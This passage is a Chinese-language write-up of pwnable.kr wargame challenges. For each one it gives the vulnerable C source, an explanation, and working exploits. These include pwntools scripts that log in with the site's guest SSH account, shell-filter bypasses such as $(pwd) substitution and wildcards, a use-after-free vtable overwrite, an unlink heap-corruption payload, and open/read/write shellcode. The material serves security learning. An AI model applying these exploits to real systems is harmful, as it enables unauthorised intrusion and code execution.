been perfect."); printf("\nHave an almost perfect day!\n\n"); system("pause"); exit(0); break; default: printf("\nInvalid Input"); } // End switch case } // End if loop else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program { printf("\nYour day could have been perfect."); printf("\nHave an almost perfect day!\n\n"); system("pause"); exit(0); } return;} // End functionvoid rules() //Prints "Rules of Vlad's Blackjack" list{ char choice1; int choice2; printf("\n RULES of VLAD's BLACKJACK"); printf("\n ---------------------------"); printf("\nI."); printf("\n Thou shalt not question the odds of this game."); printf("\n %c This program generates cards at random.", spade); printf("\n %c If you keep losing, you are very unlucky!\n", diamond); printf("\nII."); printf("\n Each card has a value."); printf("\n %c Number cards 1 to 10 hold a value of their number.", spade); printf("\n %c J, Q, and K cards hold a value of 10.", diamond); printf("\n %c Ace cards hold a value of 11", club); printf("\n The goal of this game is to reach a card value total of 21.\n"); printf("\nIII."); printf("\n After the dealing of the first two cards, YOU must decide whether to HIT or STAY."); printf("\n %c Staying will keep you safe, hitting will add a card.", spade); printf("\n Because you are competing against the dealer, you must beat his hand."); printf("\n BUT BEWARE!."); printf("\n %c If your total goes over 21, you will LOSE!.", diamond); printf("\n But the world is not over, because you can always play again.\n"); printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade); printf("\nWould you like to go the previous screen? (I will not take NO for an answer)"); printf("\n (Y/N)\n "); scanf("\n%c",&choice1); while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered { printf("\n"); printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n"); scanf("%c",&choice1); } if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu. { system("cls"); asktitle(); } // End if loop else if((choice1 == 'N') || (choice1 == 'n')) // If no, convinces user to enter yes { system("cls"); printf("\n I told you so.\n"); asktitle(); } return;} // End functionint clubcard() //Displays Club Card Image{ srand((unsigned) time(NULL)); //Generates random seed for rand() function k=rand()%13+1; if(k<=9) //If random number is 9 or less, print card with that number { //Club Card printf("-------\n"); printf("|%c |\n", club); printf("| %d |\n", k); printf("| %c|\n", club); printf("-------\n"); } if(k==10) //If random number is 10, print card with J (Jack) on face { //Club Card printf("-------\n"); printf("|%c |\n", club); printf("| J |\n"); printf("| %c|\n", club); printf("-------\n"); } if(k==11) //If random number is 11, print card with A (Ace) on face { //Club Card printf("-------\n"); printf("|%c |\n", club); printf("| A |\n"); printf("| %c|\n", club); printf("-------\n"); if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total { k=11; } else { k=1; } } if(k==12) //If random number is 12, print card with Q (Queen) on face { //Club Card printf("-------\n"); printf("|%c |\n", club); printf("| Q |\n"); printf("| %c|\n", club); printf("-------\n"); k=10; //Set card value to 10 } if(k==13) //If random number is 13, print card with K (King) on face { //Club Card printf("-------\n"); printf("|%c |\n", club); printf("| K |\n"); printf("| %c|\n", club); printf("-------\n"); k=10; //Set card value to 10 } return k; }// End functionint diamondcard() //Displays Diamond Card Image{ srand((unsigned) time(NULL)); //Generates random seed for rand() function k=rand()%13+1; if(k<=9) //If random number is 9 or less, print card with that number { //Diamond Card printf("-------\n"); printf("|%c |\n", diamond); printf("| %d |\n", k); printf("| %c|\n", diamond); printf("-------\n"); } if(k==10) //If random number is 10, print card with J (Jack) on face { //Diamond Card printf("-------\n"); printf("|%c |\n", diamond); printf("| J |\n"); printf("| %c|\n", diamond); printf("-------\n"); } if(k==11) //If random number is 11, print card with A (Ace) on face { //Diamond Card printf("-------\n"); printf("|%c |\n", diamond); printf("| A |\n"); printf("| %c|\n", diamond); printf("-------\n"); if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total { k=11; } else { k=1; } } if(k==12) //If random number is 12, print card with Q (Queen) on face { //Diamond Card printf("-------\n"); printf("|%c |\n", diamond); printf("| Q |\n"); printf("| %c|\n", diamond); printf("-------\n"); k=10; //Set card value to 10 } if(k==13) //If random number is 13, print card with K (King) on face { //Diamond Card printf("-------\n"); printf("|%c |\n", diamond); printf("| K |\n"); printf("| %c|\n", diamond); printf("-------\n"); k=10; //Set card value to 10 } return k;}// End functionint heartcard() //Displays Heart Card Image{ srand((unsigned) time(NULL)); //Generates random seed for rand() function k=rand()%13+1; if(k<=9) //If random number is 9 or less, print card with that number { //Heart Card printf("-------\n"); printf("|%c |\n", heart); printf("| %d |\n", k); printf("| %c|\n", heart); printf("-------\n"); } if(k==10) //If random number is 10, print card with J (Jack) on face { //Heart Card printf("-------\n"); printf("|%c |\n", heart); printf("| J |\n"); printf("| %c|\n", heart); printf("-------\n"); } if(k==11) //If random number is 11, print card with A (Ace) on face { //Heart Card printf("-------\n"); printf("|%c |\n", heart); printf("| A |\n"); printf("| %c|\n", heart); printf("-------\n"); if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total { k=11; } else { k=1; } } if(k==12) //If random number is 12, print card with Q (Queen) on face { //Heart Card printf("-------\n"); printf("|%c |\n", heart); printf("| Q |\n"); printf("| %c|\n", heart); printf("-------\n"); k=10; //Set card value to 10 } if(k==13) //If random number is 13, print card with K (King) on face { //Heart Card printf("-------\n"); printf("|%c |\n", heart); printf("| K |\n"); printf("| %c|\n", heart); printf("-------\n"); k=10; //Set card value to 10 } return k;} // End Functionint spadecard() //Displays Spade Card Image{ srand((unsigned) time(NULL)); //Generates random seed for rand() function k=rand()%13+1; if(k<=9) //If random number is 9 or less, print card with that number { //Spade Card printf("-------\n"); printf("|%c |\n", spade); printf("| %d |\n", k); printf("| %c|\n", spade); printf("-------\n"); } if(k==10) //If random number is 10, print card with J (Jack) on face { //Spade Card printf("-------\n"); printf("|%c |\n", spade); printf("| J |\n"); printf("| %c|\n", spade); printf("-------\n"); } if(k==11) //If random number is 11, print card with A (Ace) on face { //Spade Card printf("-------\n"); printf("|%c |\n", spade); printf("| A |\n"); printf("| %c|\n", spade); printf("-------\n"); if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total { k=11; } else { k=1; } } if(k==12) //If random number is 12, print card with Q (Queen) on face { //Spade Card printf("-------\n"); printf("|%c |\n", spade); printf("| Q |\n"); printf("| %c|\n", spade); printf("-------\n"); k=10; //Set card value to 10 } if(k==13) //If random number is 13, print card with K (King) on face { //Spade Card printf("-------\n"); printf("|%c |\n", spade); printf("| K |\n"); printf("| %c|\n", spade); printf("-------\n"); k=10; //Set card value to 10 } return k;} // End Functionint randcard() //Generates random card{ srand((unsigned) time(NULL)); //Generates random seed for rand() function random_card = rand()%4+1; if(random_card==1) { clubcard(); l=k; } if(random_card==2) { diamondcard(); l=k; } if(random_card==3) { heartcard(); l=k; } if(random_card==4) { spadecard(); l=k; } return l;} // End Function void play() //Plays game{ int p=0; // holds value of player_total int i=1; // counter for asking user to hold or stay (aka game turns) char choice3; cash = cash; cash_test(); printf("\nCash: $%d\n",cash); //Prints amount of cash user has randcard(); //Generates random card player_total = p + l; //Computes player total p = player_total; printf("\nYour Total is %d\n", p); //Prints player total dealer(); //Computes and prints dealer total betting(); //Prompts user to enter bet amount while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times // because there is a chance user can generate twenty-one consecutive 1's { if(p==21) //If user total is 21, win { printf("\nUnbelievable! You Win!\n"); won = won+1; cash = cash+bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); } if(p>21) //If player total is over 21, loss { printf("\nWoah Buddy, You Went WAY over.\n"); loss = loss+1; cash = cash - bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); } if(p<=21) //If player total is less than 21, ask to hit or stay { printf("\n\nWould You Like to Hit or Stay?"); scanf("%c", &choice3); while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered { printf("\n"); printf("Please Enter H to Hit or S to Stay.\n"); scanf("%c",&choice3); } if((choice3=='H') || (choice3=='h')) // If Hit, continues { randcard(); player_total = p + l; p = player_total; printf("\nYour Total is %d\n", p); dealer(); if(dealer_total==21) //Is dealer total is 21, loss { printf("\nDealer Has the Better Hand. You Lose.\n"); loss = loss+1; cash = cash - bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); } if(dealer_total>21) //If dealer total is over 21, win { printf("\nDealer Has Went Over!. You Win!\n"); won = won+1; cash = cash+bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); } } if((choice3=='S') || (choice3=='s')) // If Stay, does not continue { printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total); stay(); } } i++; //While player total and dealer total are less than 21, re-do while loop } // End While Loop} // End Functionvoid dealer() //Function to play for dealer AI{ int z; if(dealer_total<17) { srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function z=rand()%13+1; if(z<=10) //If random number generated is 10 or less, keep that value { d=z; } if(z>11) //If random number generated is more than 11, change value to 10 { d=10; } if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total { if(dealer_total<=10) { d=11; } else { d=1; } } dealer_total = dealer_total + d; } printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total} // End Function void stay() //Function for when user selects 'Stay'{ dealer(); //If stay selected, dealer continues going if(dealer_total>=17) { if(player_total>=dealer_total) //If player's total is more than dealer's total, win { printf("\nUnbelievable! You Win!\n"); won = won+1; cash = cash+bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); } if(player_total<dealer_total) //If player's total is less than dealer's total, loss { printf("\nDealer Has the Better Hand. You Lose.\n"); loss = loss+1; cash = cash - bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); } if(dealer_total>21) //If dealer's total is more than 21, win { printf("\nUnbelievable! You Win!\n"); won = won+1; cash = cash+bet; printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss); dealer_total=0; askover(); } } else { stay(); }} // End Functionvoid cash_test() //Test for if user has cash remaining in purse{ if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again { printf("You Are Bankrupt. Game Over"); cash = 500; askover(); }} // End Functionint betting() //Asks user amount to bet{ printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } else return bet;} // End Functionvoid askover() // Function for asking player if they want to play again{ char choice1; printf("\nWould You Like To Play Again?"); printf("\nPlease Enter Y for Yes or N for No\n"); scanf("\n%c",&choice1); while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered { printf("\n"); printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n"); scanf("%c",&choice1); } if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. { system("cls"); play(); } else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program { fileresults(); printf("\nBYE!!!!\n\n"); system("pause"); exit(0); } return;} // End functionvoid fileresults() //Prints results into Blackjack.txt file in program directory{ FILE *fpresults; //File pointer is fpresults fpresults = fopen(RESULTS, "w"); //Creates file and writes into it if(fpresults == NULL) // what to do if file missing from directory { printf("\nError: File Missing\n"); system("pause"); exit(1); } else { fprintf(fpresults,"\n\t RESULTS"); fprintf(fpresults,"\n\t---------\n"); fprintf(fpresults,"\nYou Have Won %d Times\n", won); fprintf(fpresults,"\nYou Have Lost %d Times\n", loss); fprintf(fpresults,"\nKeep Playing and Set an All-Time Record!"); } fclose(fpresults); return;} // End Function
问题主要出自betting函数
int betting() //Asks user amount to bet{ printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } else return bet;} // End Function
因为最后计算金额时候,不是cash = cash + bet;
就是cash = cash - bet;
分别对应两种利用
YaY_I_AM_A_MILLIONARE_LOLCash: $1000500-------|H || 2 || H|-------Your Total is 2The Dealer Has a Total of 10
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>unsigned char submit[6];void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start!\n"); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin\n"); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin\n"); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck...\n"); }}void help(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n");}int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n"); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye\n"); return 0; default: printf("invalid menu\n"); break; } } return 0;}
原来这里两层循环来判断提交的值是否都在 lotto 中出现,但是逻辑上是有问题的
// calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } }
实际上这段代码是检测提交的值是否在 lotto 中出现,和原来本意有很大的出入,因为我们可以输入 6 同样的值,只要保证这个值在 lotto 里出现即可完成破解
from pwn import *conn = ssh(host="pwnable.kr", port=2222, user="lotto", password="guest")p = conn.process(executable="/home/lotto/lotto")while True: print(p.recvuntil("Exit")) p.send("1" + "\n") print(p.recvuntil("bytes :")) p.send(chr(1)*6) print(p.recvuntil("bad luck...", timeout=1))
#include <stdio.h>#include <string.h>int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r;}int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0;}
filter 中过滤了三个字符串flag
、sh
、tmp
但是???还是没明白和 PATH 的关系
通配符直接上,跟题目没太大关系
cmd1@pwnable:~$ /home/cmd1/cmd1 "/bin/cat /home/cmd1/f*"mommy now I get what PATH environment is for :)
#include <stdio.h>#include <string.h>int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r;}extern char** environ;void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p));}int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0;}
过滤更彻底,想办法绕
cmd2@pwnable:~$ cd /cmd2@pwnable:/$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f???'$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f???FuN_w1th_5h3ll_v4riabl3s_haha
#include <fcntl.h>#include <iostream> #include <cstring>#include <cstdlib>#include <unistd.h>using namespace std;class Human{private: virtual void give_shell(){ system("/bin/sh"); }protected: int age; string name;public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; }};class Man: public Human{public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; }};class Woman: public Human{public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; }};int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
终于到 use-after-free 的题了
学习可以看下这个视频:The Heap: How do use-after-free exploits work? - bin 0x16
题目提供了三种操作,分别对用 释放-分配-调用
0x0000000000400efb <+55>: mov edi,0x180x0000000000400f00 <+60>: call 0x400d90
在 heap 中我们也能看到分配了长度为0x20的空间,为什么不是0x18呢,是源自 malloc_chunk 时会进行对齐,具体可见这篇文章堆相关数据结构
通过 chunk 复用存入的结构体如下,可以看到数据分别对应
这里有个奇怪的点,可以看到 ptr_name 均是指向上一个chunk被复用部分中的除 priv_size 和 size 的剩余部分,可能是编译优化导致的?
注意到是先通过 Man 的虚表去调用 introduce 方法
pwndbg> x/4 0x4015700x401570 : 0x000000000040117a 0x00000000004012d20x401580 : 0x0000000000000000 0x00000000004015f0pwndbg> x 0x40117a0x40117a : 0x10ec8348e5894855pwndbg> x 0x4012d20x4012d2 : 0x10ec8348e5894855
所以我们只要能覆盖 vptr 使其指向 原地址-8,即0x401570 - 0x8 = 0x00401568,这样经过执行时的+0x8就会调用 give_shell 函数
这里还要注意,free 时先释放的 m 后释放的 w,所以填充时是先填充的 w 后填充 m,所以需要步骤 2 执行两次
另外,由于我们只需要填充 vptr 部分,所需 8 字节是小于释放的 chunk 的,所以会直接填充两次消耗释放的空间即可
uaf@pwnable:~$ python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"' > /tmp/uafpassuaf@pwnable:~$ ./uaf 8 /tmp/uafpass1. use2. after3. free31. use2. after3. free2your data is allocated1. use2. after3. free2your data is allocated1. use2. after3. free1$ cat flagyay_f1ag_aft3r_pwning
参考:
// compiled with : gcc -o memcpy memcpy.c -m32 -lm#include <stdio.h>#include <string.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>#include <sys/mman.h>#include <math.h>unsigned long long rdtsc(){ asm("rdtsc");}char* slow_memcpy(char* dest, const char* src, size_t len){ int i; for (i=0; i<len; i++) { dest[i] = src[i]; } return dest;}char* fast_memcpy(char* dest, const char* src, size_t len){ size_t i; // 64-byte block fast copy if(len >= 64){ i = len / 64; len &= (64-1); while(i-- > 0){ __asm__ __volatile__ ( "movdqa (%0), %%xmm0\n" "movdqa 16(%0), %%xmm1\n" "movdqa 32(%0), %%xmm2\n" "movdqa 48(%0), %%xmm3\n" "movntps %%xmm0, (%1)\n" "movntps %%xmm1, 16(%1)\n" "movntps %%xmm2, 32(%1)\n" "movntps %%xmm3, 48(%1)\n" ::"r"(src),"r"(dest):"memory"); dest += 64; src += 64; } } // byte-to-byte slow copy if(len) slow_memcpy(dest, src, len); return dest;}int main(void){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Hey, I have a boring assignment for CS class.. :(\n"); printf("The assignment is simple.\n"); printf("-----------------------------------------------------\n"); printf("- What is the best implementation of memcpy? -\n"); printf("- 1. implement your own slow/fast version of memcpy -\n"); printf("- 2. compare them with various size of data -\n"); printf("- 3. conclude your experiment and submit report -\n"); printf("-----------------------------------------------------\n"); printf("This time, just help me out with my experiment and get flag\n"); printf("No fancy hacking, I promise :D\n"); unsigned long long t1, t2; int e; char* src; char* dest; unsigned int low, high; unsigned int size; // allocate memory char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); size_t sizes[10]; int i=0; // setup experiment parameters for(e=4; e<14; e++){ // 2^13 = 8K low = pow(2,e-1); high = pow(2,e); printf("specify the memcpy amount between %d ~ %d : ", low, high); scanf("%d", &size); if( size < low || size > high ){ printf("don't mess with the experiment.\n"); exit(0); } sizes[i++] = size; } sleep(1); printf("ok, lets run the experiment with your configuration\n"); sleep(1); // run experiment for(i=0; i<10; i++){ size = sizes[i]; printf("experiment %d : memcpy with buffer size %d\n", i+1, size); dest = malloc( size ); memcpy(cache1, cache2, 0x4000); // to eliminate cache effect t1 = rdtsc(); slow_memcpy(dest, src, size); // byte-to-byte memcpy t2 = rdtsc(); printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1); memcpy(cache1, cache2, 0x4000); // to eliminate cache effect t1 = rdtsc(); fast_memcpy(dest, src, size); // block-to-block memcpy t2 = rdtsc(); printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1); printf("\n"); } printf("thanks for helping my experiment!\n"); printf("flag : ----- erased in this source code -----\n"); return 0;}
把源存储器内容值送入目的寄存器,当有m128时,必须对齐内存16字节,也就是内存地址低4位为0.
movntps m128,XMM
m128 <== XMM 直接把XMM中的值送入m128,不经过cache,必须对齐16字节.
注意到当 input > 64 时,会调用 fast_memcpy 下的 movntps 指令,此时必须保证地址对齐
另外 malloc 通过 edx 值返回地址值
考虑到分配 chunk 时有固定 header,32 位下长度为 0x8 (priv_size + size),所以每次input时,我们通过控制 padding 保证满足下列条件之一:
推荐:Malloc碎碎念
这里添加一下对齐前后的堆内容的对比图片
from pwn import *chunk_header = 0x8r = remote("pwnable.kr", 9022)for i in range(10): r.recvuntil("\n") n = 8 if i == 0 else 2**(i+3) + chunk_header print("[->] %d" % n) r.sendline(str(n))r.recvuntil("experiment!\n")print(r.readline())
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <sys/mman.h>#include <seccomp.h>#include <sys/prctl.h>#include <fcntl.h>#include <unistd.h>#define LENGTH 128void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } seccomp_release(ctx);}char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";unsigned char filter[256];int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n"); char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0;}
这道题主要涉及seccomp
seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a “secure” state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors. Should it attempt any other system calls, the kernel will terminate the process with SIGKILL or SIGSYS. In this sense, it does not virtualize the system’s resources but isolates the process from them entirely.
通过此特性初始化SCMP_ACT_KILL限制了所有 syscall,后添加规则允许使用的仅为 open read write exit exit_group
我们需要做的便是:
对入门不会生成 shellcode 的我,pwnlib 提供了 shellcraft,注意发送时需要调用 asm 方法编译汇编码
从上面的资料可知文件句柄是通过 rax 返回的,所以我们直接从 rax 读取文件即可,但实际上linux文件句柄(fd)是从 3 开始增长的,因为我们第一个也只打开一个,所以必定是 3
from pwn import *context.log_level = 'DEBUG'context(arch='amd64', os='linux')r = remote('pwnable.kr', 9026)sc = shellcraft.open("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")# sc += shellcraft.read("rax", "rsp", 100)sc += shellcraft.read(3, "rsp", 100)sc += shellcraft.write(1, "rsp", 100)r.send(asm(sc))r.recvline()
#include <stdio.h>#include <stdlib.h>#include <string.h>typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8];}OBJ;void shell(){ system("/bin/sh");}void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD;}int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0;}
首先先看了 double-free 的利用,即 unlink 的一种利用是通过劫持GOT表实现命令执行,但是题目中 Unlink 后没有跟其他函数的,所以无法利用
那么能否直接操控 main 返回地址来实现跳转到 shellcode 执行呢?看下 main 最后的汇编是怎么写的
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]0x08048602 <+211>: leave 0x08048603 <+212>: lea esp,[ecx-0x4]0x08048606 <+215>: ret
翻译过来
mov ecx,[ebp-0x4]mov esp,ebppop ebplea esp,[ecx-0x4]ret
此时栈内分布
我们无法直接控制 eip,那么能否通过控制 ebp -> ecx -> esp -> eip 实现呢
我们首先关注到 unlink
BK=P->bk;FD=P->fd;FD->bk=BK;BK->fd=FD;
如下:
BK = *(P + 4)FD = *(P)FD -> bk = BK -> *(*(P)+4) = *(P + 4)BK -> fd = FD -> *(*(P+4)) = *(P)
更直白的说
*(*(P->fd) + 4) = *(P->bk) 将 fd 的值 +4 作为地址,其值为 bk 的值*(*(P->bk)) = *(P->fd) 将 bk 的值作为地址,其值为 fd 的值
即我们通过控制 fd bk 可以获取到两次写内存的机会
其次把已知条件列出来
再根据栈中内容,可得
由于我们可以通过 A->buf 进行 overflow,假设我们将func_shell放在buf前4个字节,同时我们把buf地址标记为 shellcode,那么就有
我们的目标是通过控制 fd bk 进而控制栈内存储的 ecx,进而控制 esp eip,我们先选取bk 地址 fd 值
的利用方式即BK->fd=FD
,有
结合上面的条件,推得
以此设置布局如下:
0 4 8+-----------------+-----------------+ heapA| fd | bk |+-----------------+-----------------+ A -> buf| *func_shell | ~padding~ |+-----------------+-----------------+ heapB-header| ~padding~ |+-----------------+-----------------+ heapB| heap_A + 0xc | stack_A + 0x10 |+-----------------+-----------------+
假如我们选择fd 地址 bk 值
的方式FD->bk=BK
,有
推得
0 4 8+-----------------+-----------------+ heapA| fd | bk |+-----------------+-----------------+ A -> buf| *func_shell | ~padding~ |+-----------------+-----------------+ heapB-header| ~padding~ |+-----------------+-----------------+ heapB| stack_A + 0xc | heap_A + 0xc |+-----------------+-----------------+
做完题后再想了几遍构造原理,感觉通透了不少
from pwn import *context.log_level = 'info'is_remote = Truemethod = 2 # 1 or 2if is_remote: s = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest') p = s.process("/home/unlink/unlink")else: p = process("/home/pwn/Desktop/unlink")p.recvuntil("here is stack address leak: ")stack_addr = int(p.recv(10), 16)p.recvuntil("here is heap address leak: ")heap_addr = int(p.recv(9), 16)p.recvuntil("get shell!\n")shell_addr = 0x080484ebif method == 1: fd = heap_addr + 0xc bk = stack_addr + 0x10else: fd = stack_addr + 0xc bk = heap_addr + 0xcpayload = p32(shell_addr) + b"."*12 + p32(fd) + p32(bk)p.sendline(payload)p.interactive()
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <fcntl.h>char flag[100];char password[100];char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";void calc_flag(char* s){ int i; for(i=0; i<strlen(s); i++){ flag[i] = s[i] ^ key[i]; } printf("%s\n", flag);}int main(){ FILE* fp = fopen("/home/blukat/password", "r"); fgets(password, 100, fp); char buf[100]; printf("guess the password!\n"); fgets(buf, 128, stdin); if(!strcmp(password, buf)){ printf("congrats! here is your flag: "); calc_flag(password); } else{ printf("wrong guess!\n"); exit(0); } return 0;}
…脑洞题,password为cat: password: Permission denied
,就是为了提醒注意文件权限
from pwn import *context.log_level = 'debug's = ssh(host='pwnable.kr', port=2222, user='blukat', password='guest')p = s.process("/home/blukat/blukat")p.recvuntil("guess the password!\n")p.sendline("cat: password: Permission denied")p.recv()
需要sudo apt install libseccomp-dev:i386
有个名为 ropme 的函数,主要关注这里,其功能判断输入值是否为 sum,是的话则返回 flag
可以明显看到数组s
